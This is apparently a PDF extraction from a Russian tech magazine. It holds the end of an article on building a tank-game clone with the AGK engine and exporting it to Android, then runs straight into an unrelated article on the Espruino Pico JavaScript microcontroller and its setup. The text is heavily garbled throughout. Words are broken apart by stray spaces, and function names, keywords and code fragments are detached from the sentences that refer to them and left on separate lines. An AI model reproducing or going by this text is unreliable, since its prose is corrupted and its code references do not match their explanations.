тоятель но,  весь  необ ходимый  для  про тоти па  стафф  мож но  купить  в  сто рах
топовых и аль тер натив ных движ ков ( ). Арт, зву ки, шей деры и дру гой
стафф  так же мож но  най ти  в  Steam. Они  сто ят  не  так  дорого.  Изоб ражений
в одном ком плек те может быть нес коль ко тысяч, но все они для раз ных игр,
поэто му на про тотип  тебе их, может быть, и  хва тит, а вот для пол ноцен ного
релиза —  вряд  ли.  И  тог да,  воз можно,  ты  най дешь  сво бод ных  худож ников,
на  которых  про изве дет  впе чат ление  твоя  игра.  И  это  пра виль но,  ведь,
работая с покуп ным артом, ты вынуж ден под гонять свой сюжет под име ющий‐ 
ся арт, а не наобо рот.

нап ример

РАЗРАБОТКА ИГРЫ С ПОМОЩЬЮ AGK
Мой выбор пал на AGK по трем при чинам:

раз работ ка игр осно выва ется на написа нии кода двух уров ней  (Tier 1, 2);
мне,  как  прог раммис ту,  лег че  осво ить ся  в  новом  API,  нежели  в  новом
интерфей се редак тора;

•

це на демок ратич на;•
ку пил я этот дви жок еще два года назад, все обновле ния при ходят сра зу
же, как появ ляют ся.

•

До пол нитель ные фиш ки: AGK под держи вает мно жес тво типов кон трол леров,
так, кро ме гей мпа дов, он под держи вает кон трол лер бес контак тно го управле‐ 
ния Leap Motion. Плюс в AGK вклю чена под дер жка VR.

Visual Editor
Пос ле запус ка AGK мы видим толь ко редак тор кода без каких‐либо визу аль‐ 
ных  средств,  которы ми  богаты  дру гие  движ ки.  Одна ко  в  августе  ком пания
The Games Creator выпус тила при ложе ние, сво его рода аддон для AGK — тул‐ 
зу  Visual  Editor.  Он  покупа ется  отдель но  (сто ит  899  руб лей).  Этот  редак тор
поз воля ет  визу аль но  нас тра ивать  напол нение  сце ны  и  уров ня  тво ей  игры,
импорти ровать изоб ражения и 3D‐модели, помещать их в сце ну как игро вые
объ екты, нас тра ивать положе ние, раз мер, угол поворо та, цвет и дру гие свой‐ 
ства  с  помощью  инспек тора  объ ектов.  Как  выг лядят  сце ны  на  устрой ствах
с экра ном раз ного рас ширения, мож но уви деть, пря мо не выходя из редак‐ 
тора. В кон це кон цов, сце ну мож но сох ранить и под клю чить к AGK. Тот спо‐ 
кой но выпол нит код,  как буд то этот файл соз дан здесь же. Visual Editor дает
воз можность стро ить игры методом drag & drop (не пол ностью, но час тично),
подоб но  дру гим  конс трук торам,  рас смот ренным  выше.  Но,  приз нать ся,
это не наш выбор.

Иг ра может сос тоять из нес коль ких сцен (нап ример, глав ное меню, игро‐ 
вое  поле,  экран  победы,  экран  пораже ния),  и  все  они  могут  нас тра ивать ся
в редак торе. Могут быть исполь зованы тек сто вые поля, точ ки при вяз ки, соз‐ 
дание ани мации и про чее.

Visual Editor

КЛАССИЧЕСКИЕ ТАНКИ
Дви жок  AGK  оди нако во  хорошо  под ходит  для  соз дания  2D‐  и  3D‐игр.  Мы
оста новим ся  на  2D  по  понят ным  при чинам:  популяр ность  на  мобиль ных —
целевых плат формах — одна из них.

Мы испро буем AGK на тан ках, поп робу ем вос создать «клас сичес кие тан‐ 
ки» с игро вой кон соли NES от 1985 года с новой гра фикой. Кто не в теме, та
игра  называ ется  Battle  City,  во  мно гом  имен но  она  пос лужила  про тоти пом
для  сов ремен ных  игр  про  тан ковые  вой ны  (World  of  Tanks,  «Тан ки Онлайн»).
Поэто му наш мир так же будет дву мер ным с обзо ром свер ху.

Ос новы AGK
Раз работ ку  мы  будем  вес ти  на  яру се  №   1  (Tier  1)  —  скрип товом  язы ке,
похожем  на  модер низиро ван ный  для  нужд  игро дела  BASIC.  Пер вое,  что
необ ходимо пом нить о BASIC, — это то, что в кон це инс трук ции не надо ста‐ 
вить точ ку с запятой. Рас слабь ся и получай удо воль ствие: никаких ука зате лей
и низ коуров невых приб луд, клас сов тоже нет. Их роли игра ют струк туры. Мож‐ 
но соз дать экзем пляр струк туры, который зак репля ется за чис ловой кон стан‐ 
той. В будущем для обра щения к это му экзем пля ру исполь зует ся зак реплен‐ 
ное  за  ним  чис ло. При  выпол нении фун кции,  что бы  ука зать,  над  каким объ‐ 
ектом про изво дит ся опе рация, надо передать соот ветс тву ющее чис ло в пер‐ 
вом  парамет ре.  По  сути,  в  AGK  име ется  толь ко  три  типа  дан ных:  ,

,  .  По  боль шому  сче ту  это  все,  что  необ ходимо  знать
перед началом кодиро вания игр на AGK.

integer
real string

Продолжение статьи →



КАК СДЕЛАТЬ ИГРУ
ВЫБИРАЕМ ДВИЖОК И ПИШЕМ КЛОН

ТЕХ САМЫХ «ТАНЧИКОВ»

КОДИНГ  НАЧАЛО СТАТЬИ←

Прис тупа ем к кодиро ванию
Мы  не  будем  исполь зовать  Visual  Editor,  напишем  весь  код  самос тоятель но
(см.  при мер  в матери алах  к  статье). Я  не буду  при водить  в  статье  лис тинги
игры,  пос коль ку  ты  всег да  можешь  их  най ти  в  матери алах.  Я  лишь  напишу
крат кие инс трук ции по выпол няемо му коду.

Соз дадим в AGK новый про ект и нач нем кодиро вать. Сна чала ини циали‐ 
зиру ем окно вывода: зададим заголо вок окна, уста новим его раз мер, ука жем
спо соб ность менять раз мер. Затем уста новим раз решение, воз можную ори‐ 
ента цию  устрой ства,  час тоту  перери сов ки,  зададим  исполь зование  всей
области  экра на,  пос ледним  дей стви ем  ини циали зации  вклю чим  исполь‐ 
зование прод винутых век торных шриф тов вмес то рас тро вых. Этот код вхо дит
в шаб лон  про екта. Ниже  находит ся  основной  цикл  игры:  .  В  нем
выводит ся FPS и про исхо дит перери сов ка экра на.

do …  loop

Пос ле ини циали зации игры опре деля ется тип дан ных для тан ка, неваж но,
вра жес кий  он  или  наш,  все  поля  оди нако вые. Объ явле ние  типа  начина ется
с клю чево го сло ва  , за ним сле дует иден тифика тор типа, в нашем слу чае

. В пер вую оче редь каж дому тан ку нуж ны коор динаты. В AGK объ явле‐ 
ние  про исхо дит  таким  обра зом:  .  Заметь,  на  кон це  точ ка
с запятой не ста вит ся. Вто рой спо соб объ явле ния перемен ных — это прос то
опи сать их. Нап ример, перемен ную мож но объ явить так:

Type
TTank

x  as  float

rem integer
x = 4
rem real
x# = 4.4
rem string
x$ = "four"

То  есть  добав ляет ся  сим вол  пос ле  иден тифика тора.  У  типа 
для задания стро ки рав ноцен но мож но исполь зовать оди нар ные или двой ные
кавыч ки, глав ное, что бы зак рыва ющая была пар ной для откры вающей. Далее
зада ем иден тифика торы для спрай та, для кол лизии, для фла га опре деле ния,
чьей сто роне при над лежит танк: игро ка или ИИ. Ско рость, час тота стрель бы,
количес тво  жиз ней,  флаг  повер женнос ти,  тай мер,  изме ряющий  количес тво
секунд,  ког да  танк стал повер женным, флаг,  уста нав лива ющий ся,  ког да  танк
дос тиг  пре пятс твия  (нужен  для  ИИ),  в  поворо тах  тан ка  учас тву ют  две
перемен ные:  флаг,  уста нав лива емый  в  начале  поворо та,  и  номер  сто роны
поворо та  (нуж ны  для  ИИ).  Закан чива ется  опре деле ние  типа  клю чевым  сло‐ 
вом  .

string

EndType
За тем  объ явим  тип  для  объ екта  сна ряда.  Ему  нуж ны:  коор динаты  мес‐ 

тополо жения,  коор динаты  мес та  наз начения,  иден тифика тор  для  спрай та,
флаг активнос ти, флаг при над лежнос ти и ско рость.

Соз дадим два мас сива: один — для тан ков, вто рой — для сна рядов. При‐ 
мер но так:  . Ана логич но и со вто рым.Dim tanks[6] as player

Те перь  нам  надо  заг рузить  тек сту ры.  Это  дела ется  с  помощью  фун кции
,  пер вым  парамет ром  переда ется  номер,  за  которым  будет  зак‐ 

репле но изоб ражение, а вто рым — путь и имя фай ла. Все игро вые ресур сы
заг ружа ются  из  под папки    пап ки  с  игрой.  Пап ка    соз дает ся
при пер вой удач ной ком пиляции. Таким же обра зом заг ружа ем изоб ражение
сна ряда. В цик ле соз дадим все сна ряды. Опи сание цик ла начина ется с 

,  а  закан чива ется  инкре мен том  цик личес кой
перемен ной:  . В теле цик ла про исхо дит соз дание спрай та
(  с парамет рами: иден тифика тор спрай та, номер натяги ваемой
на спрайт тек сту ры), уста нов ка его позиции ( ), уста нов ка
слоя  глу бины  ( ),  сме щение  начала  коор динат  для  спрай та
( ).

LoadImage

media media

For 
makebullets  =  1  to  20

Next makebullets
CreateSprite

SetSpritePosition
SetSpriteDepth

SetSpriteOffset
Пос ле это го мы сбра сыва ем зна чения всех парамет ров тан ков к зна чени‐ 

ям  по  умол чанию,  это  дела ется  нашей  фун кци ей  .  Из  нее
вызыва ется  фун кция  .  В  качес тве  парамет ров  она  получа ет:
номер  тан ка  (индекс в мас сиве  тан ков),  коор динаты,  коэф фици енты цве тов,
угол  поворо та,  при над лежность  к  игро ку  или  ИИ.    занима ется
соз дани ем  тан ка,  опре деля ет  положе ние,  ско рость  переме щения,  час тоту
стрель бы, угол поворо та. Так же она соз дает для тан ка спрай ты, нас тра ивает
их цве та, номера сло ев. Далее заг рузим тек сту ру фона и соз дадим для него
спрайт,  плюс  нам  понадо бит ся  тек сту ра  для  пре пятс твия.  Зададим  тип
для  пре пятс твия  —  .  Он  будет  содер жать  толь ко  два  поля:  номер
спрай та  и  активность. Положе ние  зада ется  при  соз дании  в  рас положен ном
ниже цик ле.

resetPlayers
CreateTank

CreateTank

bricks

Для игры нам надо заг рузить два зву ка: выс трел и попада ние. Это выпол‐ 
няет ся фун кци ей  , она при нима ет циф ровой иден тифика тор и имя
фай ла.  На  дес кто пе  AGK  может  работать  с  тре мя  фор матами  аудио:  WAV,
MP3, Ogg, а на мобиль ных с дву мя, исклю чая MP3, из‐за того, что этот фор‐ 
мат не сво бод ный. Соз даем нес коль ко гло баль ных перемен ных: текущее вре‐ 
мя,  номер  текуще го  уров ня.  Вызыва ем фун кцию для  соз дания  уров ня.  Весь
код  находит ся  в  гло баль ном  прос транс тве  и  будет  выпол нен  при  запус ке
игры.

LoadSound

Да лее  мы  пог ружа емся  в  цен траль ный  цикл  нашей  игры,  тело  которо го
выпол няет ся 30 раз в секун ду (зависит от час тоты сме ны кад ров, на PC может
быть  60).  Здесь  пер вым  делом  нам  надо  получить  количес тво  мил лисекунд
( ),  про шед ших  с  момен та  запус ка  игры.  Затем  запус каем
цикл  по  всем  игро вым  объ ектам  —  тан кам.  Если  танк  не  вра щает ся,  он
не под бит и им мож но управлять (для это го вызыва ем фун кцию 
), с дру гой сто роны, уве личи ваем его угол поворо та. Повора чива ем опре‐ 

делен ный  танк  в  нап равле нии  век тора  его  дви жения.  Если  танк  вра щает ся
более  двух  секунд  и  у  него  закон чились  жиз ни,  сбра сыва ем  его  сос тояние
( ). Далее обновля ются позиции всех сна рядов в фун кции 

 и идет про вер ка на под рыв любого тан ка — в  . Она воз вра щает
номер под битого тан ка, который начина ет вра щать ся вок руг сво ей оси, вдо‐ 
бавок  про игры вает ся  звук  попада ния  сна ряда.  Пос ледней  вызыва ется фун‐ 
кция обновле ния экра на.

GetMilliseconds

controlPlay‐
er

resetPlayers move‐
fire tankhit

В осталь ном коде прог раммы опи саны исполь зуемые фун кции. Они пред‐ 
став ляют самую инте рес ную часть — «живые» алго рит мы поведе ния игры.

Фун кция  ,  в  которую  переда ется  номер  опре делен ного
тан ка, реаги рует на ввод юзе ра, про изво дя соот ветс тву ющие дей ствия. Каж‐ 
дой кла више соот ветс тву ет свой номер в сис теме ASCII, поэто му сна чала нам
надо объ явить соот ветс тву ющие кла вишам кон стан ты:

controlPlayer

#constant   KEY_LEFT    37
#constant   KEY_UP      38
#constant   KEY_RIGHT   39
#constant   KEY_SPACE   32

Ког да игрок нажима ет кла вишу «Вверх», перемен ная   при нима ет зна‐ 
чение 1, ког да «Впра во» — перемен ная   при нима ет 1, «Вле во» — она же
‐1.  При  нажатии  про бела,  если  танк  не  вра щает ся,  про исхо дит  выс трел
(вызов фун кции   с переда чей номера тан ка), с уче том того, что танк
может выс тре лить с интерва лом в 500 мил лисекунд.

Forward
Turn

makefire

Да лее зай мем ся управле нием тан ками ИИ. Если танк про тив ника находит‐ 
ся  на  обоз римом  рас сто янии,  наш  незамыс ловатый  ИИ  прос то  прес леду ет
танк игро ка. Приб лижа ясь к цели, он стре ляет. Поэто му пер вым делом надо
най ти угол меж ду тан ками. Это выпол няет ся с помощью фун кции  .
Ей  переда ются  коор динаты  пер вого  и  вто рого  объ ектов.  Если  вто рой  танк
ниже  пер вого,  тог да  перемен ная    при нима ет  зна чение  ‐2,  если  выше,
то 2. Сле дующим дей стви ем находим раз ность углов. Потом надо узнать рас‐ 
сто яние меж ду  тан ками.  Если  оно  боль ше  100  вир туаль ных  пик селей,  тог да
вра жес кий  танк  дви жет ся  к  цели.  К  сло ву,  в  AGK  изме рения  ведут ся  в  вир‐ 
туаль ных еди ницах; если пос ле запус ка игры их оста вить по умол чанию, раз‐ 
мер игро вого поля сос тавит 100 на 100. Раз мер мож но про изволь но менять,
в  этом слу чае он будет  вли ять  толь ко  на рас положе ние и раз мер объ ектов.
Вра жес кий танк ведет стрель бу при сле дующих усло виях: выс трел раз в две
секун ды, отно ситель ный угол меж ду тан ками мень ше 20 гра дусов, дис танция
мень ше 500 еди ниц. Кро ме того, в этой фун кции надо зап ретить тан ку выезд
за гра ницы игро вой области.

FindAngle

Turn

Пос ледняя  про вер ка,  помещен ная  в  эту  фун кцию,  —  это  стол кно вение
с  пре пятс тви ями.  В  цик ле  переби раем  все  пре пятс твия,  про веря ем,  что бы
они  были  активны,  и  тог да  смот рим,  была  ли  с  тан ком  кол лизия.  Если  эти
усло вия выпол няют ся, пыта емся най ти луч ший путь для обхо да пре пятс твия.
Ког да  в  стол кно вении  с  пре пятс тви ем  учас тву ет  танк  юзе ра,  прос то  отклю‐ 
чаем тягу впе ред. При дви жении или поворо те тан ка, управля емо го ИИ, при‐ 
бав ляем зна чение перемен ной   к текуще му углу поворо та. Поворот тан‐ 
ка: положе ние по X вычис ляем, при бав ляя к текущей коор динате X синус угла
поворо та,  умно жен ного  на  32,  положе ние  по  Y  находим  через  вычита ние
из  текущей  Y  косину са  угла  поворо та  тан ка,  так же  умно жен ного  на  32.  То
есть,  ког да  мы  при меня ем  косинус  или  синус  к  углу,  поворот  выпол няет ся
в  начале  коор динат,  и,  что бы  смес тить  его  в  задан ном  нап равле ние,  надо
про извести  умно жение.  С  помощью  фун кции 
про изво дим  позици они рова ние  тан ка.  Пос леднее  дей ствие  выпол няет ся
толь ко  во  вре мя  дви жения:  в  нем  про исхо дит  инкре мент  коор динат  X  и  Y
на синус и минус косинус угла поворо та, умно жен ного на ско рость тан ка.

Turn

SetSpritePositionByOffset

Так же  фун кция    оста нав лива ет  и  дела ет  неак тивны ми  все
сна ряды,  выпущен ные  тан ками,  сбра сыва ет  парамет ры  тан ков  к  началь ным
зна чени ям.

resetPlayers

За тем  в  фун кции    про исхо дит  акти вация,  позици они рова ние,
задание век тора дви жения и ско рос ти сна ряда. В начале выпол нения игры мы
соз дали 20 сна рядов и спря тали их за пре делы экра на, сде лав их неак тивны‐ 
ми, что бы в нуж ный момент не тра тить вре мя на соз дание и ини циали зацию
сна ряда, а,  спо зици они ровав его, сра зу  запус тить. Поэто му в рас смат рива‐ 
емой фун кции в цик ле от 1 до 20 мы про веря ем наличие неак тивно го сво бод‐ 
ного сна ряда. Най ден ный, он ста новит ся активным, в качес тве родите ля ему
прис ваивает ся  номер  выс тре лив шего  тан ка,  сна ряд  повора чива ется  так же,
как  материн ский  танк,  наз нача ется  соот ветс тву ющая  тан ку  позиция.
С помощью опе раций с синусом и косину сом ему наз нача ется век тор полета,
затем  в  фун кции  ,  при бегая  к  тон кому  матема тичес кому
выраже нию, мы вычис ляем точ ку при зем ления сна ряда.

makefire

settankfiredest

В  цик ле  фун кции    переби раем  все  сна ряды  и  для  тех  из  них,
которые  активны,  инкре мен тиру ем  положе ние  в  соот ветс твии  с  век тором
и ско ростью. Если сна ряд выходит за гра ницы игро вой области, прос то дела‐ 
ем  его  неак тивным,  дру гими  сло вами  —  помеща ем  в  спи сок  готовых
к исполь зованию.

moveFire

Фун кция   про веря ет попада ние сна ряда в любой танк. Внеш ний
цикл  переби рает  тан ки,  внут ренний — сна ряды. Пер вым делом  внут ри  про‐ 
веря ются  воз можные  стол кно вения  сна ряда  с  ячей кой  пола,  все го  их  192,
а  их  нумера ция  начина ется  с  200.  Если про изош ло  стол кно вение с  ячей кой
пола  (ракета  дос тигла  сво его  пун кта  наз начения),  даль нейшие  про вер ки
выпол нять не надо, дела ем сна ряд неак тивным. Сле дующая про вер ка смот‐ 
рит,  что бы  выпущен ная  ракета  не  при над лежала  выс тре лив шему  ею  тан ку.
Если она про ходит, мы дела ем про вер ку стол кно вения сна ряда с вра жес ким
тан ком.  Если  стол кно вение  зафик сирова но,  умень шаем  количес тво  жиз ней
у под битого тан ка, оста нав лива ем ракету, помеща ем ее в спи сок дос тупных
для оче ред ного выс тре ла. Дан ная фун кция воз вра щает номер под битого тан‐ 
ка.

checkHit

Фун кция  ,  как  понят но  из  наз вания,  фор миру ет  кар ту  уров ня.
Сна чала  двой ным  цик лом  про ходим  по  всем  192  «кир пичам»,  делая  их
невиди мыми и неак тивны ми. Далее дела ем видимы ми толь ко некото рые пре‐ 
пятс твия.

makeLevel

Ос тавши еся  три  фун кции  носят  вспо мога тель ный  харак тер.  Фун кция
 на осно ве получен ного зна чения угла воз вра щает экви вален тное

ему  зна чение,  не  выходя щее  из  диапа зона  0–360.    получа ет
четыре  парамет ра  —  коор динаты  двух  точек  и  воз вра щает  извле чен ный
корень из  выраже ния,  вычис ленно го по  теоре ме Пифаго ра;  таким обра зом,
фун кция  воз вра щает  рас сто яние  меж ду  дву мя  точ ками.  И  наконец,

, получая коор динаты двух точек, воз вра щает раз ность меж ду дву‐ 
мя угла ми.

wrapAngle
GetDistance

findAngle

Иг ра  готова,  код  написан,  мож но  запус кать  на  выпол нение.  Но  преж де
не забудь ско пиро вать из матери алов к статье необ ходимый арт (из под папки

 катало га с игрой). Арт для игры сос тоит из семи фай лов.media

ПОДГОТОВКА БИЛДА И РАСПРОСТРАНЕНИЕ
Тес тирова ние на мобиль ных девай сах
В эту игру мы не смо жем играть на смар тфо не, пос коль ку здесь реали зова но
управле ние с кла виату ры, а на телефо не, естес твен но, ее нет, но все рав но
мы смо жем запус тить при ложе ние на девай се, что бы про тес тировать его.

Раз рабаты вая игры с помощью AGK, их мож но не  толь ко мгно вен но  тес‐ 
тировать на дес кто пе, но и точ но так же, не замора чива ясь с уста нов кой SDK
и под готов кой бил да, тес тировать на мобиль ном устрой стве. Для это го надо
ска чать и уста новить на свой девайс ути литу  .AGK Player

AGK Player

Я тес тировал на план шете с ОС Android, одна ко име ется рав нознач ная вер‐ 
сия  пле ера  для  iOS.  Ког да  ути лита  будет  уста нов лена,  надо  под клю чить
девайс  к  ком пу  (через USB‐кабель  или  по Wi‐Fi),  запус тить AGK Player,  а  на
дес кто пе  в  IDE  AGK  нажать  пик тограм му  Broadcast.  AGK  под клю чит ся
к устрой ству, передаст дан ные, а в пле ере запус тится твоя игра.

Tanki

Эк спорт бил да
Ког да  игра  будет  про тес тирова на  и  отла жена,  для  ее  пуб ликации  в  сто ре
надо соз дать билд. Для это го с помощью коман ды меню File → Export Project
«Tanki» →  As Android Apk откро ем окно Export Android APK,  в  котором пред‐ 
лага ется задать свой ства соз дава емо го пакета.

Export Android APK

В области APK Settings, в нис пада ющем спис ке APK Type пред лага ется выб‐ 
рать целевую плат форму: Google, Amazon, Ouya. App Name — имя при ложе‐ 
ния  в  опе раци онной  сис теме,  Package  Name  —  имя  пакета,  к  при меру
com.yazevsoft.Tanki.  App  Icon —  икон ка  для  при ложе ния,  Notification  Icon —
икон ка уве дом ления, Oaya Large Icon — икон ка в вер сии Android для игро вой
кон соли  Oaya.  Ниже  зада ется  ори ента ция  и  минималь но  под держи ваемая
вер сия Android. В области Permission зада ются раз решения — дос туп к ком‐ 
понен там  сис темы,  на  которой  будет  выпол нять ся  наша  игра:  запись
на  внеш ние  носите ли,  дос туп  к  камере,  запись  аудио,  виб рация  и  про чее.
Область Game Google Services/GameCircle Integration поз воля ет задать иден‐ 
тифика тор  для  исполь зования  сер висов Google.  В  области Output  зада ется
путь, по которо му будет сох ранен ито говый пакет. Область Signing поз воля ет
нас тро ить  свой ства  для  под писания  пакета  для  раз мещения  его  в  сто рах:
задать вер сию, файл под писи. Более под робно о раз мещении пакета с игрой
в Google Play мож но про читать в  .мо ей кни ге

Аль тер натив ные сто ры
Под  конец  статьи  добав лю  еще,  что  не  сто ит  упи рать ся  и  рас простра нять
свои при ложе ния/игры толь ко в топовых сто рах — App Store, Google Play. Там
все мес та заняли боль шие изда тели, и покупа тели в пер вую оче редь смот рят
на их про дук ты.

Об рати вни мание на аль тер натив ные сто ры: Amazon AppStore, Opera Mo‐
bile Store, Яндекс.Стор и мно гие дру гие. На них мень ше поль зовате лей, мень‐ 
ше тра фика, вмес те с тем мень ше кон курен ции. Я не при зываю огра ничи вать‐ 
ся тре мя перечис ленны ми, смот ри шире. Лидиру ет плат форма Android, меж ду
тем,  кро ме  Apple  AppStore,  есть  пло щад ки  для  рас простра нения  iOS‐при‐ 
ложе ний.

По явле ние аль тер натив ных сто ров свя зано не толь ко с желани ем их ини‐ 
циато ров  зарабо тать,  дело  тут  и  в  наци ональ ных  пред почте ниях.  Раз говор
идет  о  стра нах  треть его  мира  и  вос точных  товари щей —  это Индия,  Китай,
Вьет нам и так далее. Там пре вали руют уста рев шие Android‐девай сы, и поль‐ 
зовате ли  этих  устрой ств  готовы  доволь но  час то  совер шать  неболь шие  пла‐ 
тежи  за  циф ровые  раз вле чения.  Надо  толь ко  пра виль но  понять  этот  рынок.
Поэто му  выпус кать  там  при ложе ния/игры  име ет  смысл  в  сот рудни чес тве
с  мес тны ми  дис трибь юто рами.  Тон кая  вос точная  душа,  сам  понима ешь.
На пер вое мес то выходит необ ходимость локали зации сво их игр для мес тных
поль зовате лей. Кро ме того, в этих стра нах могут быть популяр ны игры дру гих
жан ров:  так  же,  как  вез де,  казу алки,  раз ные  паз лы,  экшны,  гон ки.  Взгля ни
на сле дующую кар тинку об иссле дова нии рын ка. Она наг лядно про иллюс три‐ 
рует опи сан ное выше.

Ис сле дова ние рын ка

ЗАКЛЮЧЕНИЕ
Под ведем ито ги. Статья началась с опи сания при чин появ ления аль тер натив‐ 
ных движ ков и обзо ра самых популяр ных из них. Затем мы обсу дили источни‐ 
ки арта и дру гого стаф фа для игр. Потом, выб рав один из движ ков, мы рас‐ 
смот рели его осно вы и начали кодиро вать с его помощью прос тую дву мер‐ 
ную игру — клас сичес кие тан ки. Мы раз работа ли прос тень кую арка ду с пре‐ 
пятс тви ями, минималь ным искусс твен ным интеллек том, дву мя вра гами и ору‐ 
жием.  Пос ле  это го мы  отла дили  свою  игру  пря мо  на  девай се  под  управле‐ 
нием  Android  и,  ког да  все  ста ло  готово,  соб рали  пакет  для  уста нов ки  игры
под любой Android. И все это в рам ках одной статьи.

Иг ровая  индус трия  в  целом  и  тем  более  инди‐сце на  пос тоян но  в  дви‐ 
жении,  пос тоян но  раз вива ются.  Это  же  отно сит ся  к  инс тру мен тарию
инди‐раз работ чиков. Он прог ресси рует: появ ляют ся новые тул зы, улуч шают‐ 
ся  ста рые.  Если  рань ше  на  мно гие  средс тва  раз работ ки  игр  гля дел  с  иро‐ 
ничес кой  улыб кой,  то  сей час  какие‐то  тул зы дос тигли очень  впе чат ляюще го
сос тояния.  И,  при меняя  их,  мож но  соз давать  впол не  увле катель ные  и  сов‐ 
ремен но выг лядящие игры.

Ин ди‐сце на  рас ширила  игро вую  индус трию.  Она  показа ла,  что  не  толь‐ 
ко 3А‐про екты с прод винутой гра фикой могут быть инте рес ными. Она очень
раз бавила этот сте реотип. Сей час мы игра ем и в игры с пик сель‐артом, и в
игры с офор мле нием в тем ных тонах, и в игры, где весь про цесс зак люча ется
в  чте нии  докумен тов  и  вынесе нии  при гово ров  на  их  осно ве,  мы  смот рим
в  монитор,  ведя  доп рос  пред полага емо го  прес тупни ка,  с  целью  понять:
виновен он или нет. Потому что все эти игры име ют глу бокий смысл. Мы игра‐ 
ем в ста рые клас сичес кие игры с улуч шенной гра фикой, с новыми режима ми
и  на  сов ремен ных  устрой ствах.  Все  это  ста ло  воз можным  бла года ря  инди.
Инди‐игры несут в себе глу бокие идеи, это игры для души, в которые по‐нас‐ 
тояще му хочет ся играть.

Допол нитель ный матери ал по раз работ ке игр
В матери алах к дан ной статье ты можешь уви деть   о моем
любимом  опен сор сном  движ ке  Torque  3D,  под ходящем  для  раз работ ки  игр
раз ного пла на. Мно гое  в  этом мире меня ется,  толь ко не моя  любовь  к  тех‐ 
нологи ям. По‐преж нему очень теп ло к нему отно шусь и сле жу за его раз вити‐ 
ем.

мою ста рую статью
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Ис ходни ки к статье
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КОДИНГ

Нес мотря  на  огромное  количес тво  устрой ств  на  базе  мик‐ 
рокон трол леров,  соз данных  на  вол не  успе ха  Arduino,  счи‐ 
таные еди ницы из них име ют форм‐фак тор обыч ной флеш ки,
под ходящий  для  непос редс твен ного  вклю чения  в  разъ ем
USB компь юте ра (USB Type‐A). Один из наибо лее любопыт‐ 
ных их пред ста вите лей — Espruino Pico.

Во обще  говоря,  Espruino  —  это  нес коль ко  вари антов  мик рокон трол лерных
устрой ств,  в  которых про шит встро енный интер пре татор JavaScript. Espruino
Pico — самое мини атюр ное из них. Ори гиналь ный интер пре татор JavaScript,
исполь зуемый в Espruino, пред назна чен для быс трой раз работ ки на устрой‐ 
ствах  с  огра ничен ными  про цес сорны ми  ресур сами.  Есть  его  вер сии
для целого переч ня плат форм, начиная с ESP8266 и до Raspberry Pi.

Для  Espruino  сущес тву ет  боль шое  чис ло  готовых  под гру жаемых  модулей
для  самого  раз нооб разно го  перифе рий ного  обо рудо вания,  сов мести мого
с  эко сис темой  Arduino  (см.  раз дел    на  сай те  Espruino)  и  инс трук ций
по его под клю чению (в раз деле  ). Есть офи циаль ный

.

мо дули
инс трук ций и при меров

фо рум

ИСТОРИЯ ESPRUINO
Плат форма  Espruino —  не  самый  молодой  про ект.  Пер вые  пуб личные  упо‐ 
мина ния о ней датиру ются еще  , и в   была про веде на успешная
кам пания на Kickstarter по сбо ру средств на раз витие про екта. Ее успех поз‐ 
волил  в  кон це    года  про вес ти  сле дующую  кам панию,  на  про ект  более
ком пак тной вер сии под наз вани ем Espruino Pico в форм‐фак торе раз мером
в полови ну обыч ной флеш ки.

2012‐м 2013‐м
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Ха рак терис тики Espruino Pico
Espruino  Pico —  самая мини атюр ная  из  плат  Espruino,  ее  раз меры  3,3  ×
1,5 см.

•

На кон такты пла ты выведе но 22 пор та вво да‐вывода обще го наз начения,
в том чис ле девять ана лого вых вхо дов, 21 с под дер жкой ШИМ (PWM), два
пос ледова тель ных  пор та,  три  пор та  SPI,  три  пор та  I2C;  все  GPIO  могут
работать  с  5  В  (что  важ но  для  сов мести мос ти  с  модуля ми,  раз работан‐ 
ными для Arduino).

•

Встро енный  разъ ем  USB  Type‐A  поз воля ет  вклю чать  устрой ство  непос‐ 
редс твен но  в  USB‐порт  компь юте ра  без  допол нитель ных  кабелей  ана‐ 
логич но обыч ной флеш ке.

•

Два  встро енных  све тоди ода  и  одна  кноп ка  поз воля ют  реали зовать
минималь ное управле ние устрой ством без внеш них ком понен тов.

•

32‐бит ный про цес сор ARM Cortex M4 84 МГц —  .• STM32F401CDU6
384 Кбайт флеш‐памяти, 96 Кбайт ОЗУ.•
Встро енный  регуля тор  нап ряжения  3,3  В  250  мА,  работа ющий  в  диапа‐ 
зоне  от  3,5  до  16  В,  поз воля ет  под клю чать  внеш ний  акку муля тор
без допол нитель ных ком понен тов.

•

Пот ребля емый ток в режиме сна: < 0,05 мА — более двух с полови ной лет
от батареи 2500 мА ⋅ ч.

•

Встро енный  полевой  тран зистор  для  управле ния  цепями  с  высоким
рабочим током.

•

WARNING

Все при меры кода пред назна чены исклю читель но
для  обра зова тель ных  целей.  Дан ное  решение
обла дает  понижен ным  уров нем  безопас ности,
сек ретный ключ хра нит ся на устрой стве в откры‐ 
том  виде.  Не  исполь зуй  этот  код  в  кри тичес ки
важ ных  сис темах.  При меняй  для  авто риза ции
про мыш ленно выпус каемые устрой ства.

БЫСТРЫЙ СТАРТ
Для Windows тебе, ско рее все го, понадо бит ся уста новить драй вер вир туаль‐ 
ного COM‐пор та.

Под Linux нуж но будет сде лать сле дующее: копиру ем файл 
 в  , перег ружа ем пра вила коман дой 

 и про веря ем коман дой  , что текущий поль‐ 
зователь  вхо дит  в  груп пу  .  Если  это  не  так,  исправ ляем  коман дой

.

45‐espruino.
rules /etc/udev/rules.d sudo udevadm 
control ‐‐reload‐rules groups

plugdev
sudo adduser $USER plugdev

На Mac  никаких  допол нитель ных манипу ляций  пот ребовать ся  не  дол жно.
Уста нав лива ем сре ду Espruino Web IDE из  .Chrome Web Store

Ра бочая  область  Espruino  Web  IDE  раз делена  на  две  час ти.  В  левой  рас‐ 
положе но окно кон соли, в пра вой — редак тор. Нажав на сим вол  , редак тор
мож но перек лючить в гра фичес кий режим, осно ван ный на сре де  , ана‐ 
логич ной Scratch, что может подой ти начина ющим.

>
Blockly

Для под клю чения  к пла те необ ходимо нажать на жел тую икон ку  с разъ емом
в вер хнем левом углу окна. Будет выведен зап рос на выбор пор та.

При успешном под клю чении будет выведе но приг лашение кон соли Espruino:

Connected
>
>

Про верим работос пособ ность вво дом  :1+2

>1+2
=3
>

ОБНОВЛЕНИЕ ПРОШИВКИ
Ес ли дос тупно обновле ние про шив ки, в пра вом вер хнем углу появит ся соот‐ 
ветс тву ющая икон ка. При нажатии на эту икон ку запус тится мас тер обновле‐ 
ния, который пошаго во про инс трук тиру ет, что нуж но сде лать для обновле ния
про шив ки.

